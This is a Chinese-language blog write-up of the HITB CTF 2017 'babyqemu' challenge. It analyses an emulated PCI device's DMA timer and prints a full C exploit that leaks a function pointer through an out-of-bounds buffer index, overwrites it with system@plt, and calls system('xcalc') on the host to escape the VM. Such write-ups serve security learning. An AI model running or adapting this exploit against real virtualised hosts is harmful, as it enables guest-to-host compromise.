Q之逃逸-叁之型-HITB-CTF-2017-babyqemu

  1. 初步分析
  2. 准备
  3. exp
  4. 后记
  5. 参考

本来想搞Realworld那道SCSI来着,不过发现当年只有RPISEC做出来了ORZ,估计现在的自己还顶不住,所以我先稍一稍。而且顺着raycp师傅的blog[1]以及UAF这位国外大佬[2]复现

初步分析

用户名:root,密码:空

我的ubuntu1604还真是强,直接第一遍就能跑起来。

还是一套常规组合拳,看启动脚本,IDA打开qemu搜索分析,查看qemu保护,写gdb脚本,写makefile脚本。

这回IDA里发现MMIO函数里和dma有关。关键结构体的定义:

struct __attribute__((aligned(16))) HitbState
{
  PCIDevice_0 pdev;
  MemoryRegion_0 mmio;
  QemuThread_0 thread;
  QemuMutex_0 thr_mutex;
  QemuCond_0 thr_cond;
  _Bool stopping;
  uint32_t addr4;
  uint32_t fact;
  uint32_t status;
  uint32_t irq_status;
  dma_state dma;
  QEMUTimer_0 dma_timer;
  char dma_buf[4096];
  void (*enc)(char *, unsigned int);
  uint64_t dma_mask;
};

struct dma_state
{
  dma_addr_t src;
  dma_addr_t dst;
  dma_addr_t cnt;
  dma_addr_t cmd;
};

可以了解一下DMA到底是个什么东西,不过这里其实就是模拟了一个简易版的DMA而已。

hitb_mmio_read:

这个对size有要求,也就是只能进行32位读,然后根据addr的不同,返回dma里的不同成员内容。IDA里会看到有一些很奇怪的+4样子的偏移,不过不用管,其实还是从里面读四字节数据。

hitb_mmio_write:

说实话,表面看起来也没看出什么大问题hhh,根据addr的不同执行不同功能,dma.cmd的用处在这里并不大

没有OOR也没有OOW,除了一个奇怪的:

timer_mod(&opaque->dma_timer, v7 / 1000000 + 100);

这个timer是在pci_hitb_realize里被注册的:

1583420745945

这个hitb_dma_timer会根据传进来的HitbState结构体的dma里的内容执行对应的分支,发现一些很有意思的内容:

比如这里根据dma.cmd来进行分支逻辑判断。

这个buf的索引值可以越界,这个enc指针也很危险,可以被读写做一些事情,就类似于壹之型的那道题里的buf和rand函数一样:

1583421497690

再有,cpu_physical_memory_rw这个函数没见过,不过没有hitb标志应该就都是系统函数。就是对qemu的物理地址进行读写,qemu的物理地址与虚拟地址转化[6]

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

准备

写gdb的debug:

file qemu-system-x86_64
aslr off
b hitb_dma_timer
run -initrd ./rootfs.cpio -kernel ./vmlinuz-4.8.0-52-generic -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -L ./dependency/usr/local/share/qemu -L pc-bios -device hitb,id=vda

gdb启动的时候会有点问题,然后就一顿按C,就好了hhh

创建一个file文件夹,把cpio文件移动进来,解包然后删掉cpio:

cd file
cpio -idmv < rootfs.cpio
rm ./rootfs.cpio

写Makefile:

ALL:
    gcc -O0 -static -o exp exp.c
    find . | cpio -o --format=newc > ../rootfs.cpio

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

unsigned char* mmio_mem;
char* va_of_data_mem;
uint64_t pa_of_data_mem;

#define MMIO_FILE "/sys/devices/pci0000:00/0000:00:04.0/resource0"
#define MMAP_SIZE 0x1000

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

void die(const char* msg){
    perror(msg);
    exit(-1);
}

uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        die("open pagemap");
    }
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void init_io(){
    // Open and map I/O memory for the strng device
    int mmio_fd = open(MMIO_FILE, O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    printf("mmio_mem: %p\n", mmio_mem);

    // Open and map I/O memory for the strng device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
}

void init_data(){

    va_of_data_mem =  mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (va_of_data_mem == MAP_FAILED)
        die("mmap data_mem failed");

    printf("fuck\n");

    mlock(va_of_data_mem, 0x1000);
    pa_of_data_mem = gva_to_gpa(va_of_data_mem);
    printf("virtual address: %p\n",va_of_data_mem);
    printf("physical address: %p\n",(void*)pa_of_data_mem);
}

void mmio_write(uint32_t addr, uint32_t value) {
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr) {
    return *((uint32_t*)(mmio_mem + addr));
}

uint64_t oob_dma_read(uint32_t idx) {
    // dma.dst = pa_of_data_mem
    mmio_write(136, (uint32_t)pa_of_data_mem); 
    // dma.cnt = 8                
    mmio_write(144, 8);                        
    // dma.src = idx + 0x40000
    mmio_write(128, idx+0x40000);
    // trigger timer
    // dma.cmd = 1|2|4                 
    // cpu_physical_memory_rw(op->dma.dst, &op->dma_buf[dma.src-0x40000], op->dma.cnt, 1)
    // copy cnt bytes from buf[scr...] to address in dst.
    mmio_write(152, 1|2);
    // avoid race
    sleep(1);

    return *((uint64_t*)va_of_data_mem);                          
}

void oob_dma_write(uint32_t idx, uint64_t value) {
    *((uint64_t*)va_of_data_mem) = value;
    // dma.dst = idx + 0x40000
    mmio_write(136, idx+0x40000);
    // dma.cnt = 8                
    mmio_write(144, 8);  
    // dma.src = pa_of_data_mem
    mmio_write(128, (uint32_t)pa_of_data_mem);
    // trigger timer
    // dma.cmd = 1
    // cpu_physical_memory_rw(op->dma.src, &op->dma_buf[dma.dst-0x40000], op->dma.cnt, 0)
    // copy cnt bytes from *(op->dma.src) to &op->dma_buf[dma.dst-0x40000]
    mmio_write(152, 1);
    //avoid race
    sleep(1);
}

void getshell() {
    // command
    oob_dma_write(0x40, 0x636c616378);
    // dma.src = &dma_buf[0x40]
    mmio_write(128, 0x40+0x40000);
    // trigger call enc
    // system("xcalc");
    mmio_write(152, 1|2|4);
}

int main(int argc, char **argv){

    init_io();
    init_data();

    uint64_t enc_addr = oob_dma_read(4096); //enc_ptr
    uint64_t elf_base = enc_addr - 0x283dd0;
    uint64_t system_plt = elf_base + 0x1fdb18;
    printf("leak enc addr: 0x%llx\n",enc_addr);
    printf("ELF base addr: 0x%llx\n",elf_base);
    printf("system@plt addr: 0x%llx\n",system_plt);

    oob_dma_write(4096, system_plt);

    getshell();

}

babyqemu

后记

之前做的两道题都是之和MMIO和PMIO有关系,不过算是搞懂了它们到底是个啥,如何进行交互的了。

而这个题学到了一些关于timer的新的东西,而且写exp方面,相比于前两道题,这个完成得更加独立一些,核心部分都是自己写的。

参考

[1] https://ray-cp.github.io/archivers/qemu-pwn-hitb-gesc-2017-babyqemu-writeup

[2] https://uaf.io/exploitation/2018/11/22/Hitb-2017-babyqemu.html

[3] https://kitctf.de/writeups/hitb2017/babyqemu

[4] https://www.cnblogs.com/lyantech/p/10311742.html

[5] https://kitctf.de/writeups/hitb2017/babyqemu

[6] https://xz.aliyun.com/t/6562


connect 1037178204@qq.com

文章标题:Q之逃逸-叁之型-HITB-CTF-2017-babyqemu

本文作者:t1an5t

发布时间:2020-03-05, 20:49:00

最后更新:2020-03-25, 16:51:54

原始链接:http://yoursite.com/Q%E4%B9%8B%E9%80%83%E9%80%B8-%E5%8F%81%E4%B9%8B%E5%9E%8B-HITB-CTF-2017-babyqemu/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录